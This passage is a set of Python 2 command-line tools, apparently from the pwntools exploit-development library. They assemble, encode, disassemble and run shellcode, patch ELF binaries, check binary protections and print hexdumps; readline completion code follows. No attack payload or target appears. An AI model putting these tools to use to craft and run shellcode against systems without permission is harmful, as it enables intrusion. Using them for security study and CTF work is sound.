        else:
            print offset
    else:
        want   = args.count
        result = cyclic(want, alphabet, subsize)
        got    = len(result)
        if got < want:
            log.failure("Alphabet too small (max length = %i)" % got)

        sys.stdout.write(result)

        if sys.stdout.isatty():
            sys.stdout.write('\n')

if __name__ == '__main__': main()






#!/usr/bin/env python2
import argparse
import sys

from pwn import *

p = argparse.ArgumentParser()
p.add_argument('elf',help="File to patch")
p.add_argument('offset',help="Offset to patch in virtual address (hex encoded)")
p.add_argument('bytes',help='Bytes to patch (hex encoded)')


def main():
    a = p.parse_args()

    if not a.offset.startswith('0x'):
        a.offset = '0x' + a.offset

    offset = int(a.offset, 16)
    bytes  = unhex(a.bytes)

    with context.silent:
        elf    = ELF(a.elf)

    elf.write(offset, bytes)
    sys.stdout.write(elf.get_data())

if __name__ == '__main__': main()






#!/usr/bin/env python2
import argparse
import sys

from pwn import *

from . import common

parser = argparse.ArgumentParser(
    description = 'Assemble shellcode into bytes'
)

parser.add_argument(
    'lines',
    metavar='line',
    nargs='*',
    help='Lines to assemble. If none are supplied, use stdin'
)

parser.add_argument(
    "-f", "--format",
    help="Output format (defaults to hex for ttys, otherwise raw)",
    choices=['raw', 'hex', 'string', 'elf']
)

parser.add_argument(
    "-o","--output",
    metavar='file',
    help="Output file (defaults to stdout)",
    type=argparse.FileType('w'),
    default=sys.stdout
)

parser.add_argument(
    '-c', '--context',
    metavar = 'context',
    action = 'append',
    type   = common.context_arg,
    choices = common.choices,
    help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,
)

parser.add_argument(
    '-v', '--avoid',
    action='append',
    help = 'Encode the shellcode to avoid the listed bytes (provided as hex; default: 000a)'
)

parser.add_argument(
    '-n', '--newline',
    dest='avoid',
    action='append_const',
    const='\n',
    help = 'Encode the shellcode to avoid newlines'
)

parser.add_argument(
    '-z', '--zero',
    dest='avoid',
    action='append_const',
    const='\x00',
    help = 'Encode the shellcode to avoid NULL bytes'
)


parser.add_argument(
    '-d',
    '--debug',
    help='Debug the shellcode with GDB',
    action='store_true'
)

parser.add_argument(
    '-e',
    '--encoder',
    help="Specific encoder to use"
)

parser.add_argument(
    '-i',
    '--infile',
    help="Specify input file",
    default=sys.stdin,
    type=file
)

parser.add_argument(
    '-r',
    '--run',
    help="Run output",
    action='store_true'
)

def main():
    args   = parser.parse_args()
    tty    = args.output.isatty()

    data   = '\n'.join(args.lines) or args.infile.read()
    output = asm(data.replace(';', '\n'))
    fmt    = args.format or ('hex' if tty else 'raw')
    formatters = {'r':str, 'h':enhex, 's':repr}

    if args.avoid:
        output = encode(output, args.avoid)

    if args.debug:
        proc = gdb.debug_shellcode(output, arch=context.arch)
        proc.interactive()
        sys.exit(0)

    if args.run:
        proc = run_shellcode(output)
        proc.interactive()
        sys.exit(0)

    if fmt[0] == 'e':
        args.output.write(make_elf(output))
        try: os.fchmod(args.output.fileno(), 0700)
        except OSError: pass
    else:
        args.output.write(formatters[fmt[0]](output))

    if tty and fmt is not 'raw':
        args.output.write('\n')

if __name__ == '__main__': main()






#!/usr/bin/env python2
import argparse
import sys

from pwn import *

from . import common

parser = argparse.ArgumentParser(
    description = 'Check binary security settings'
)


parser.add_argument(
    'elf',
    nargs='*',
    type=file,
    help='Files to check'
)
parser.add_argument(
    '--file',
    nargs='*',
    dest='elf2',
    metavar='elf',
    type=file,
    help='File to check (for compatibility with checksec.sh)'
)

def main():
    args   = parser.parse_args()
    files  = args.elf or args.elf2 or []

    if not files:
        parser.print_usage()
        return

    for f in files:
        e = ELF(f.name)

if __name__ == '__main__': main()






#!/usr/bin/env python2
import argparse
import os
import sys
import types

from pwn import *

from . import common

r = text.red
g = text.green
b = text.blue

banner = '\n'.join(['  ' + r('____') + '  ' + g('_') + '          ' + r('_') + ' ' + g('_') + '                 ' + b('__') + ' ' + r('_'),
                    ' ' + r('/ ___|') + g('| |__') + '   ' + b('___') + r('| |') + ' ' + g('|') + ' ' + b('___') + ' ' + r('_ __') + ' ' + g('__ _') + ' ' + b('/ _|') + ' ' + r('|_'),
                    ' ' + r('\___ \\') + g('| \'_ \\') + ' ' + b('/ _ \\') + ' ' + r('|') + ' ' + g('|') + b('/ __|') + ' ' + r('\'__/') + ' ' + g('_` |') + ' ' + b('|_') + r('| __|'),
                    '  ' + r('___) |') + ' ' + g('| | |') + '  ' + b('__/') + ' ' + r('|') + ' ' + g('|') + ' ' + b('(__') + r('| |') + ' ' + g('| (_| |') + '  ' + b('_|') + ' ' + r('|_'),
                    ' ' + r('|____/') + g('|_| |_|') + b('\\___|') + r('_|') + g('_|') + b('\\___|') + r('_|') + '  ' + g('\\__,_|') + b('_|') + '  ' + r('\\__|'),
                    '\n'
                    ])


#  ____  _          _ _                 __ _
# / ___|| |__   ___| | | ___ _ __ __ _ / _| |_
# \___ \| '_ \ / _ \ | |/ __| '__/ _` | |_| __|
#  ___) | | | |  __/ | | (__| | | (_| |  _| |_
# |____/|_| |_|\___|_|_|\___|_|  \__,_|_|  \__|

def _string(s):
    out = []
    for c in s:
        co = ord(c)
        if co >= 0x20 and co <= 0x7e and c not in '/$\'"`':
            out.append(c)
        else:
            out.append('\\x%02x' % co)
    return '"' + ''.join(out) + '"\n'

p = argparse.ArgumentParser(
    description = 'Microwave shellcode -- Easy, fast and delicious',
    formatter_class = argparse.RawDescriptionHelpFormatter,
)


p.add_argument(
    '-?', '--show',
    action = 'store_true',
    help = 'Show shellcode documentation',
)

p.add_argument(
    '-o', '--out',
    metavar = 'file',
    type = argparse.FileType('w'),
    default = sys.stdout,
    help = 'Output file (default: stdout)',
)

p.add_argument(
    '-f', '--format',
    metavar = 'format',
    choices = ['r', 'raw',
               's', 'str', 'string',
               'c',
               'h', 'hex',
               'a', 'asm', 'assembly',
               'p',
               'i', 'hexii',
               'e', 'elf',
               'default'],
    default = 'default',
    help = 'Output format (default: hex), choose from {r}aw, {s}tring, {c}-style array, {h}ex string, hex{i}i, {a}ssembly code, {p}reprocssed code',
)

p.add_argument(
    'shellcode',
    nargs = '?',
    choices = shellcraft.templates,
    metavar = 'shellcode',
    help = 'The shellcode you want',
)

p.epilog = 'Available shellcodes are:\n' + '\n'.join(shellcraft.templates)

p.add_argument(
    'args',
    nargs = '*',
    metavar = 'arg',
    default = (),
    help = 'Argument to the chosen shellcode',
)

p.add_argument(
    '-d',
    '--debug',
    help='Debug the shellcode with GDB',
    action='store_true'
)

p.add_argument(
    '-b',
    '--before',
    help='Insert a debug trap before the code',
    action='store_true'
)

p.add_argument(
    '-a',
    '--after',
    help='Insert a debug trap after the code',
    action='store_true'
)

p.add_argument(
    '-v', '--avoid',
    action='append',
    help = 'Encode the shellcode to avoid the listed bytes'
)

p.add_argument(
    '-n', '--newline',
    dest='avoid',
    action='append_const',
    const='\n',
    help = 'Encode the shellcode to avoid newlines'
)

p.add_argument(
    '-z', '--zero',
    dest='avoid',
    action='append_const',
    const='\x00',
    help = 'Encode the shellcode to avoid NULL bytes'
)

p.add_argument(
    '-r',
    '--run',
    help="Run output",
    action='store_true'
)

p.add_argument(
    '--color',
    help="Color output",
    action='store_true',
    default=sys.stdout.isatty()
)

p.add_argument(
    '--no-color',
    help="Disable color output",
    action='store_false',
    dest='color'
)

p.add_argument(
    '--syscalls',
    help="List syscalls",
    action='store_true'
)

p.add_argument(
    '--address',
    help="Load address",
    default=None
)

def get_template(name):
    func = shellcraft
    for attr in name.split('.'):
        func = getattr(func, attr)
    return func

def is_not_a_syscall_template(name):
    template_src = shellcraft._get_source(name)
    return 'man 2' not in read(template_src)

def main():
    # Banner must be added here so that it doesn't appear in the autodoc
    # generation for command line tools
    p.description = banner + p.description
    args = p.parse_args()

    if not args.shellcode:
        templates = shellcraft.templates

        if not args.syscalls:
            templates = filter(is_not_a_syscall_template, templates)

        print '\n'.join(templates)
        exit()

    func = get_template(args.shellcode)

    if args.show:
        # remove doctests
        doc = []
        in_doctest = False
        block_indent = None
        caption = None
        lines = func.__doc__.splitlines()
        i = 0
        while i < len(lines):
            line = lines[i]
            if line.lstrip().startswith('>>>'):
                # this line starts a doctest
                in_doctest = True
                block_indent = None
                if caption:
                    # delete back up to the caption
                    doc = doc[:caption - i]
                    caption = None
            elif line == '':
                # skip blank lines
                pass
            elif in_doctest:
                # indentation marks the end of a doctest
                indent = len(line) - len(line.lstrip())
                if block_indent is None:
                    if not line.lstrip().startswith('...'):
                        block_indent = indent
                elif indent < block_indent:
                    in_doctest = False
                    block_indent = None
                    # re-evalutate this line
                    continue
            elif line.endswith(':'):
                # save index of caption
                caption = i
            else:
                # this is not blank space and we're not in a doctest, so the
                # previous caption (if any) was not for a doctest
                caption = None

            if not in_doctest:
                doc.append(line)
            i += 1
        print '\n'.join(doc).rstrip()
        exit()

    defargs = len(func.func_defaults or ())
    reqargs = func.func_code.co_argcount - defargs
    if len(args.args) < reqargs:
        if defargs > 0:
            log.critical('%s takes at least %d arguments' % (args.shellcode, reqargs))
            sys.exit(1)
        else:
            log.critical('%s takes exactly %d arguments' % (args.shellcode, reqargs))
            sys.exit(1)

    # Captain uglyness saves the day!
    for i, val in enumerate(args.args):
        try:
            args.args[i] = util.safeeval.expr(val)
        except ValueError:
            pass

    # And he strikes again!
    map(common.context_arg, args.shellcode.split('.'))
    code = func(*args.args)


    if args.before:
        code = shellcraft.trap() + code
    if args.after:
        code = code + shellcraft.trap()


    if args.format in ['a', 'asm', 'assembly']:
        if args.color:
            from pygments import highlight
            from pygments.formatters import TerminalFormatter
            from pwnlib.lexer import PwntoolsLexer

            code = highlight(code, PwntoolsLexer(), TerminalFormatter())

        print code
        exit()
    if args.format == 'p':
        print cpp(code)
        exit()

    assembly = code

    vma = args.address
    if vma:
        vma = eval(vma)

    if args.format in ['e','elf']:
        args.format = 'default'
        try: os.fchmod(args.out.fileno(), 0700)
        except OSError: pass


        if not args.avoid:
            code = read(make_elf_from_assembly(assembly, vma=vma))
        else:
            code = asm(assembly)
            code = encode(code, args.avoid)
            code = make_elf(code, vma=vma)
            # code = read(make_elf(encode(asm(code), args.avoid)))
    else:
        code = encode(asm(assembly), args.avoid)

    if args.format == 'default':
        if args.out.isatty():
            args.format = 'hex'
        else:
            args.format = 'raw'

    arch = args.shellcode.split('.')[0]

    if args.debug:
        if not args.avoid:
            proc = gdb.debug_assembly(assembly, arch=arch, vma=vma)
        else:
            proc = gdb.debug_shellcode(code, arch=arch, vma=vma)
        proc.interactive()
        sys.exit(0)

    if args.run:
        proc = run_shellcode(code, arch=arch)
        proc.interactive()
        sys.exit(0)

    if args.format in ['s', 'str', 'string']:
        code = _string(code) + '"\n'
    elif args.format == 'c':
        code = '{' + ', '.join(map(hex, bytearray(code))) + '}' + '\n'
    elif args.format in ['h', 'hex']:
        code = pwnlib.util.fiddling.enhex(code) + '\n'
    elif args.format in ['i', 'hexii']:
        code = hexii(code) + '\n'

    if not sys.stdin.isatty():
        args.out.write(sys.stdin.read())

    args.out.write(code)

if __name__ == '__main__': main()






import argparse
import os

parser = argparse.ArgumentParser(
    description = 'Prints out error messages'
)

parser.add_argument(
    'error', help='Error message or value', type=str
)

def main():
  args, unknown = parser.parse_known_args()

  try:
    value = int(args.error, 0)

    if value < 0:
      value = -value

    if 0x100000000 - value < 0x200:
      value = 0x100000000 - value

    if value not in os.errno.errorcode:
      print "No errno for %s" % value
      return

    name = os.errno.errorcode[value]

  except ValueError:
    name = args.error.upper()

    if not hasattr(os.errno, name):
      print "No errno for %s" % name
      return

    value = getattr(os.errno, name)


  print '#define', name, value
  print os.strerror(value)

if __name__ == '__main__': main()






#!/usr/bin/env python2
import shutil

from argparse import ArgumentParser
from subprocess import CalledProcessError
from subprocess import check_output
from tempfile import NamedTemporaryFile

from pwn import *

def dump(objdump, path):
    n = NamedTemporaryFile(delete=False)
    o = check_output([objdump,'-d','-x','-s',path])
    n.write(o)
    n.flush()
    return n.name

def diff(a,b):
    try: return check_output(['diff',a,b])
    except CalledProcessError as e:
        return e.output

p = ArgumentParser()
p.add_argument('a')
p.add_argument('b')

def main():
    a = p.parse_args()

    with context.silent:
        x = ELF(a.a)
        y = ELF(a.b)

    if x.arch != y.arch:
        log.error("Architectures are not the same: %s vs %s" % (x.arch, y.arch))

    context.arch = x.arch

    objdump = pwnlib.asm.which_binutils('objdump')

    tmp = NamedTemporaryFile()
    name = tmp.name

    shutil.copy(x.path, name)
    x = dump(objdump, name)

    shutil.copy(y.path, name)
    y = dump(objdump, name)

    print diff(x, y)

if __name__ == '__main__': main()






#!/usr/bin/env python2
import argparse
import os
import sys

from pwn import *

parser = argparse.ArgumentParser(
    description = 'Pwnlib HexDump'
)

parser.add_argument(
    'file',
    metavar='file',
    nargs='?',
    help='File to hexdump.  Reads from stdin if missing.',
    type=argparse.FileType('r'),
    default=sys.stdin
)

parser.add_argument(
    "-w", "--width",
    help="Number of bytes per line.",
    default='16',
)

parser.add_argument(
    "-l", "--highlight",
    help="Byte to highlight.",
    nargs="*",
)

parser.add_argument(
    "-s", "--skip",
    help="Skip this many initial bytes.",
    default='0',
)

parser.add_argument(
    "-c", "--count",
    help="Only show this many bytes.",
    default='-1',
)

parser.add_argument(
    "-o", "--offset",
    help="Addresses in left hand column starts at this address.",
    default='0',
)

parser.add_argument(
    "--color",
    nargs='?',
    help="Colorize the output.  When 'auto' output is colorized exactly when stdout is a TTY.  Default is 'auto'.",
    choices = ('always', 'never', 'auto'),
    default='auto',
)

def asint(s):
    if   s.startswith('0x'):
        return int(s, 16)
    elif s.startswith('0'):
        return int(s, 8)
    else:
        return int(s, 10)

def main():
    args = parser.parse_args()

    infile = args.file
    width  = asint(args.width)
    skip   = asint(args.skip)
    count  = asint(args.count)
    offset = asint(args.offset)

    # if `--color` has no argument it is `None`
    color = args.color or 'always'
    text.when = color

    if skip:
        if infile == sys.stdin:
            infile.read(skip)
        else:
            infile.seek(skip, os.SEEK_CUR)

    data = infile.read(count)

    hl = []
    if args.highlight:
        for hs in args.highlight:
            for h in hs.split(','):
                hl.append(asint(h))

    try:
        for line in hexdump_iter(data, width, highlight = hl, begin = offset + skip):
            print line
    except (KeyboardInterrupt, IOError):
        pass

if __name__ == '__main__': main()






#!/usr/bin/env python2

import argparse
import os
import re

from pwn import *
from . import common

p = argparse.ArgumentParser(
    description = "Looking up constants from header files.\n\nExample: constgrep -c freebsd -m  ^PROT_ '3 + 4'",
    formatter_class = argparse.RawDescriptionHelpFormatter,
)

group = p.add_mutually_exclusive_group()
group.add_argument(
    '-e', '--exact',
    metavar = 'constant',
    # nargs = 1,
    default = None,
    help = 'Do an exact match for a constant instead of searching for a regex',
)
group.add_argument(
    'regex',
    nargs = '?',
    default = '',
    help = 'The regex matching constant you want to find',
)

p.add_argument(
    'constant',
    nargs = '?',
    default = None,
    help = 'The constant to find',
)

p.add_argument(
    '-i', '--case-insensitive',
    action = 'store_true',
    help = 'Search case insensitive',
)

p.add_argument(
    '-m', '--mask-mode',
    action = 'store_true',
    help = 'Instead of searching for a specific constant value, search for values not containing strictly less bits that the given value.',
)

p.add_argument(
    '-c', '--context',
    metavar = 'arch_or_os',
    action = 'append',
    type   = common.context_arg,
    choices = common.choices,
    help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,
)

def main():
    args = p.parse_args()

    if args.exact:
        # This is the simple case
        print cpp(args.exact).strip()
    else:
        # New we search in the right module.
        # But first: We find the right module
        if context.os == 'freebsd':
            mod = constants.freebsd
        else:
            mod = getattr(getattr(constants, context.os), context.arch)

        # Compile the given regex, for optimized lookup
        if args.case_insensitive:
            matcher = re.compile(args.regex, re.IGNORECASE)
        else:
            matcher = re.compile(args.regex)

        # Evaluate the given constant
        if args.constant:
            try:
                constant = safeeval.expr(args.constant)
            except:
                log.error("Could not evaluate constant %r" % args.constant)
        else:
            constant = None

        # The found matching constants and the length of the longest string
        out    = []
        maxlen = 0

        for k in dir(mod):
            # No python stuff
            if k.endswith('__') and k.startswith('__'):
                continue

            # Run the regex
            if not matcher.search(k):
                continue

            # Check the constant
            if constant != None:
                val = getattr(mod, k)
                if args.mask_mode:
                    if constant & val != val:
                        continue
                else:
                    if constant != val:
                        continue

            # Append it
            out.append((getattr(mod, k), k))
            maxlen = max(len(k), maxlen)

        # Output all matching constants
        for _, k in sorted(out):
            print '#define %s %s' % (k.ljust(maxlen), cpp(k).strip())

        # If we are in match_mode, then try to find a combination of
        # constants that yield the exact given value
        # We do not want to find combinations using the value 0.
        if not (constant == None or constant == 0) and args.mask_mode:
            mask = constant
            good = []
            out = [(v, k) for v, k in out if v != 0]

            while mask and out:
                cur = out.pop()
                mask &= ~cur[0]
                good.append(cur)

                out = [(v, k) for v, k in out if mask & v == v]

            if reduce(lambda x, cur: x | cur[0], good, 0) == constant:
                print
                print '(%s) == %s' % (' | '.join(k for v, k in good), args.constant)

if __name__ == '__main__': main()






#!/usr/bin/env python2
import argparse
import sys
from string import whitespace

parser = argparse.ArgumentParser(description='''
Decodes hex-encoded data provided on the command line or via stdin.
''')
parser.add_argument('hex', nargs='*',
    help='Hex bytes to decode')

def main():
    args = parser.parse_args()
    try:
        if not args.hex:
            s = sys.stdin.read().translate(None, whitespace)
            sys.stdout.write(s.decode('hex'))
        else:
            sys.stdout.write(''.join(sys.argv[1:]).decode('hex'))
    except TypeError, e:
        sys.stderr.write(str(e) + '\n')

if __name__ == '__main__': main()






import argparse
import sys

from pwn import *

from . import common

parser = argparse.ArgumentParser(
    description = 'Shellcode encoder'
)


parser.add_argument(
    "-f", "--format",
    help="Output format (defaults to hex for ttys, otherwise raw)",
    choices=['raw', 'hex', 'string', 'elf']
)

parser.add_argument(
    "-o","--output",
    metavar='file',
    help="Output file (defaults to stdout)",
    type=argparse.FileType('w'),
    default=sys.stdout
)

parser.add_argument(
    '-c', '--context',
    metavar = 'context',
    action = 'append',
    type   = common.context_arg,
    choices = common.choices,
    help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,
)

parser.add_argument(
    '-p', '--alphanumeric',
    action='store_true',
    help = 'Encode the shellcode with an alphanumeric encoder'
)

parser.add_argument(
    '-v', '--avoid',
    action='append',
    help = 'Encode the shellcode to avoid the listed bytes'
)

parser.add_argument(
    '-n', '--newline',
    dest='avoid',
    action='append_const',
    const='\n',
    help = 'Encode the shellcode to avoid newlines'
)

parser.add_argument(
    '-z', '--zero',
    dest='avoid',
    action='append_const',
    const='\x00',
    help = 'Encode the shellcode to avoid NULL bytes'
)

parser.add_argument(
    '-d',
    '--debug',
    help='Debug the shellcode with GDB',
    action='store_true'
)

def main():
    args   = parser.parse_args()
    tty    = args.output.isatty()

    if sys.stdin.isatty():
        parser.print_usage()
        sys.exit(0)

    data   = sys.stdin.read()
    output = data
    fmt    = args.format or ('hex' if tty else 'raw')
    formatters = {'r':str, 'h':enhex, 's':repr}

    if args.alphanumeric:
        output = alphanumeric(output)

    if args.avoid:
        output = avoid(output, ''.join(args.avoid))

    if args.debug:
        proc = gdb.debug_shellcode(output, arch=context.arch)
        proc.interactive()
        sys.exit(0)

    if fmt[0] == 'e':
        sys.stdout.write(make_elf(output))
    else:
        args.output.write(formatters[fmt[0]](output))

    if tty and fmt is not 'raw':
        args.output.write('\n')

if __name__ == '__main__': main()






#!/usr/bin/env python2
import argparse
import sys

parser = argparse.ArgumentParser(description='''
Hex-encodes data provided on the command line or via stdin.
''')
parser.add_argument('data', nargs='*',
    help='Data to convert into hex')

def main():
    args = parser.parse_args()
    if not args.data:
        print sys.stdin.read().encode('hex')
    else:
        print ' '.join(args.data).encode('hex')

if __name__ == '__main__': main()






# empty






import sys

import pwnlib
from pwnlib.context import context

pwnlib.log.console.stream = sys.stderr

choices = map(str, [16,32,64])
choices += list(context.oses)
choices += list(context.architectures)
choices += list(context.endiannesses)

def context_arg(arg):
    try: context.arch = arg
    except Exception: pass
    try: context.os = arg
    except Exception: pass
    try: context.bits = int(arg)
    except Exception: arg
    try: context.endian = arg
    except Exception: pass
    return arg






#!/usr/bin/env python2
import argparse
import string
import sys

from pwn import *

from . import common

parser = argparse.ArgumentParser(
    description = 'Disassemble bytes into text format'
)

parser.add_argument(
    'hex',
    metavar = 'hex',
    nargs = '*',
    help = 'Hex-string to disasemble. If none are supplied, then it uses stdin in non-hex mode.'
)

parser.add_argument(
    '-c', '--context',
    metavar = 'arch_or_os',
    action = 'append',
    type   = common.context_arg,
    choices = common.choices,
    help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,
)


parser.add_argument(
    "-a","--address",
    metavar='address',
    help="Base address",
    type=str,
    default='0'
)


parser.add_argument(
    '--color',
    help="Color output",
    action='store_true',
    default=sys.stdout.isatty()
)

parser.add_argument(
    '--no-color',
    help="Disable color output",
    action='store_false',
    dest='color'
)


def main():
    args = parser.parse_args()

    if len(args.hex) > 0:
        dat = ''.join(args.hex)
        dat = dat.translate(None, string.whitespace)
        if not set(string.hexdigits) >= set(dat):
            print "This is not a hex string"
            exit(-1)
        dat = dat.decode('hex')
    else:
        dat = sys.stdin.read()


    if args.color:
        from pygments import highlight
        from pygments.formatters import TerminalFormatter
        from pwnlib.lexer import PwntoolsLexer

        offsets = disasm(dat, vma=safeeval.const(args.address), instructions=False, byte=False)
        bytes   = disasm(dat, vma=safeeval.const(args.address), instructions=False, offset=False)
        instrs  = disasm(dat, vma=safeeval.const(args.address), byte=False, offset=False)
        # instrs  = highlight(instrs, PwntoolsLexer(), TerminalFormatter())

        split = lambda x: x.splitlines()
        for o,b,i in zip(*list(map(split, (offsets, bytes, instrs)))):
            b = b.replace('00', text.red('00'))
            b = b.replace('0a', text.red('0a'))
            i = highlight(i.strip(), PwntoolsLexer(), TerminalFormatter()).strip()
            i = i.replace(',',', ')

            print o,b,i
        return

    print disasm(dat, vma=safeeval.const(args.address))

if __name__ == '__main__': main()






import argparse

from pwn import *

from . import common

p = argparse.ArgumentParser(
    description = 'Strip binaries for CTF usage',
    formatter_class = argparse.RawDescriptionHelpFormatter,
)

g = p.add_argument_group("actions")
g.add_argument('-b', '--build-id', help="Strip build ID", action='store_true')
g.add_argument('-p', '--patch', metavar='FUNCTION', help="Patch function", action='append')
p.add_argument('-o', '--output', type=file, default=sys.stdout)
p.add_argument('file', type=file)

def main():
    args = p.parse_args()

    if not (args.patch or args.build_id):
        sys.stderr.write("Must specify at least one action\n")
        sys.stderr.write(p.format_usage())
        sys.exit(0)

    elf = ELF(args.file.name)
    context.clear(arch=elf.arch)

    if args.build_id:
        for offset in pwnlib.libcdb.get_build_id_offsets():
            data = elf.read(elf.address + offset + 0xC, 4)
            if data == 'GNU\x00':
                elf.write(elf.address + offset + 0x10, read('/dev/urandom', 20))

    for function in args.patch:
        if function not in elf.symbols:
            log.error("Could not find function %r" % function)

        trap = asm(shellcraft.trap())
        offset = elf.symbols[function]

        elf.write(elf.address + offset, trap)

    result = elf.data

    if args.output.isatty():
        result = enhex(result)

    args.output.write(result)


if __name__ == '__main__':
    main()






import os
import re

from . import readline


class Completer:
    def complete(self, _left, _right):
        raise Exception("unimplemented")
    def suggest(self, _left, _right):
        raise Exception("unimplemented")
    def __enter__(self):
        self._saved_complete_hook = readline.complete_hook
        self._saved_suggest_hook = readline.suggest_hook
        readline.set_completer(self)
    def __exit__(self, *args):
        readline.complete_hook = self._saved_complete_hook
        readline.suggest_hook = self._saved_suggest_hook

class WordCompleter(Completer):
    def __init__(self, delims = None):
        self.delims = delims or ' \t\n`!@#$^&*()=+[{]}\\|;:\'",<>?'
        self._cur_word = None
        self._completions = []

    def _get_word(self, left):
        i = len(left) - 1
        while i >= 0:
            if left[i] in self.delims:
                break
            i -= 1
        i += 1
        return left[i:]

    def _update(self, w):
        if w == self._cur_word:
            return
        self._cur_word = w
        self._completions = self.complete_word(w)

    def complete(self, buffer_left, buffer_right):
        w = self._get_word(buffer_left)
        self._update(w)
        if len(self._completions) == 1:
            c = self._completions[0]
            if len(c) > len(w):
                return c[len(w):]

    def suggest(self, buffer_left, _buffer_right):
        w = self._get_word(buffer_left)
        self._update(w)
        return self._completions

    def complete_word(self, word):
        raise Exception("unimplemented")

class LongestPrefixCompleter(WordCompleter):
    def __init__(self, words = None, delims = None):
        words = words or []
        WordCompleter.__init__(self, delims)
        self.words = words

    def complete_word(self, word):
        if not word:
            return []
        cs = [w for w in self.words if w.startswith(word)]
        if cs == []:
            return cs
        lcp = word
        shortest = min(map(len, cs))
        while len(lcp) < shortest:
            i = len(lcp)
            ch = cs[0][i]
            if any(c[i] != ch for c in cs[1:]):
                break
            lcp += ch
        if len(lcp) > len(word):
            return [lcp]
        else:
            return cs

class PathCompleter(Completer):
    def __init__(self, mask = '*', only_dirs = False):
        if mask != '*':
            mask = mask.replace('.', '\\.').replace('*', '.*')
            self.mask = re.compile('^' + mask + '$')
        else:
            self.mask = None
        self.only_dirs = only_dirs
        self._cur_prefix = None

    def _update(self, prefix):
        if prefix == self._cur_prefix:
            return
        self._completions = []
        if os.path.isabs(prefix):
            path = prefix
        else:
            path = os.path.join('.', prefix)
        if os.path.isdir(path) and prefix and prefix[-1] != '/':
            self._completions = [prefix]
            return
        dirname = os.path.dirname(path)
        basename = os.path.basename(path)
        if os.path.isdir(dirname):
            try:
                names = os.listdir(dirname)
            except Exception:
                return
            names = [n for n in names if n.startswith(basename)]
            dirname = os.path.dirname(prefix)
            cs = [os.path.join(dirname, n) for n in names]
            if self.only_dirs:
                cs = [c for c in cs if os.path.isdir(c)]
            if self.mask:
                cs = [c for c in cs if \
                      self.mask.match(os.path.basename(c)) or \
                      os.path.isdir(c)]
            self._completions = cs

    def complete(self, buffer_left, buffer_right):
        self._update(buffer_left)
        cs = []
        for c in self._completions:
            if os.path.isdir(c):
                c += '/'
            cs.append(c)
        if not cs:
            return
        lcp = buffer_left
        shortest = min(map(len, cs))
        while len(lcp) < shortest:
            i = len(lcp)
            ch = cs[0][i]
            if any(c[i] != ch for c in cs[1:]):
                break
            lcp += ch
        if len(lcp) > len(buffer_left):
            return lcp[len(buffer_left):]

    def suggest(self, buffer_left, buffer_right):
        self._update(buffer_left)
        out = []
        for c in self._completions:
            b = os.path.basename(c)
            if os.path.isdir(c):
                b += '/'
            out.append(b)
        return out






from . import keyconsts as kc
from . import keymap as km
from . import term
from . import text

cursor = text.reverse

buffer_left, buffer_right = u'', u''
saved_buffer = None
history = []
history_idx = None
prompt_handle = None
buffer_handle = None
suggest_handle = None
search_idx = None
search_results = []
startup_hook = None
shutdown_hook = None

delims = ' /;:.\\'

show_completion = True
show_suggestions = False

complete_hook = None
suggest_hook = None

tabs = 0

def set_completer(completer):
    global complete_hook, suggest_hook
    if completer is None:
        complete_hook = None
        suggest_hook = None
    else:
        complete_hook = completer.complete
        suggest_hook = completer.suggest

def fmt_suggestions(suggestions):
    if suggestions:
        s = ''
        l = max(map(len, suggestions))
        columns = term.width // (l + 1)
        column_width = term.width // columns
        fmt = '%%-%ds' % column_width
        for j in range(0, len(suggestions), columns):
            for k in range(columns):
                l = j + k
                if l < len(suggestions):
                    s += fmt % suggestions[l]
            s += '\n'
    else:
        s = '(no completions)\n'
    return s

def auto_complete(*_):
    global show_suggestions, tabs
    if search_idx is not None:
        commit_search()
        tabs = 0
    elif tabs == 1:
        if complete_hook:
            ret = complete_hook(buffer_left, buffer_right)
            if ret:
                tabs = 0
                insert_text(ret)
    else:
        show_suggestions = not show_suggestions
        redisplay()

def handle_keypress(trace):
    global tabs
    k = trace[-1]
    if k == '<tab>':
        tabs += 1
    else:
        tabs = 0

def clear():
    global buffer_left, buffer_right, history_idx, search_idx
    buffer_left, buffer_right = u'', u''
    history_idx = None
    search_idx = None
    redisplay()

def redisplay():
    global suggest_handle
    if buffer_handle:
        if show_suggestions and suggest_hook:
            suggestions = suggest_hook(buffer_left, buffer_right)
            if suggest_handle is None:
                h = prompt_handle or buffer_handle
                suggest_handle = term.output(before = h)
            s = fmt_suggestions(suggestions)
            suggest_handle.update(s)
        elif suggest_handle:
            suggest_handle.update('')
        if search_idx is None:
            s = None
            if buffer_right:
                s = buffer_left + cursor(buffer_right[0]) + buffer_right[1:]
            elif show_completion and complete_hook:
                ret = complete_hook(buffer_left, buffer_right)
                if ret:
                    s = buffer_left + \
                      text.underline(cursor(ret[0])) + \
                      text.underline(ret[1:])
            s = s or buffer_left + cursor(' ')
            buffer_handle.update(s)
        else:
            if search_results != []:
                idx, i, j = search_results[search_idx]
                buf = history[idx]
                a, b, c = buf[:i], buf[i:j], buf[j:]
                s = a + text.bold_green(b) + c
            else:
                s = text.white_on_red(buffer_left)
            buffer_handle.update('(search) ' + s)

def self_insert(trace):
    if len(trace) != 1:
        return
    k = trace[0]
    if k.type == kc.TYPE_UNICODE and k.mods == kc.MOD_NONE:
        insert_text(k.code)

def set_buffer(left, right):
    global buffer_left, buffer_right
    buffer_left = unicode(left)
    buffer_right = unicode(right)
    redisplay()

def cancel_search(*_):
    global search_idx
    if search_idx is not None:
        search_idx = None
        redisplay()

def commit_search():
    global search_idx
    if search_idx is not None and search_results:
        set_buffer(history[search_results[search_idx][0]], u'')
        search_idx = None
        redisplay()

def update_search_results():
    global search_results, search_idx, show_suggestions
    if search_idx is None:
        return
    show_suggestions = False
    if search_results:
        hidx = search_results[search_idx][0]
    else:
        hidx = None
    search_results = []
    search_idx = 0
    if not buffer_left:
        return
    for idx, h in enumerate(history):
        for i in range(0, len(h) - len(buffer_left) + 1):
            if h[i:i + len(buffer_left)] == buffer_left:
                if hidx is not None and idx == hidx:
                    search_idx = len(search_results)
                search_results.append((idx, i, i + len(buffer_left)))
                break

def search_history(*_):
    global buffer_left, buffer_right, history_idx, search_idx
    if search_idx is None:
        buffer_left, buffer_right = buffer_left + buffer_right, u''
        history_idx = None
        search_idx = 0
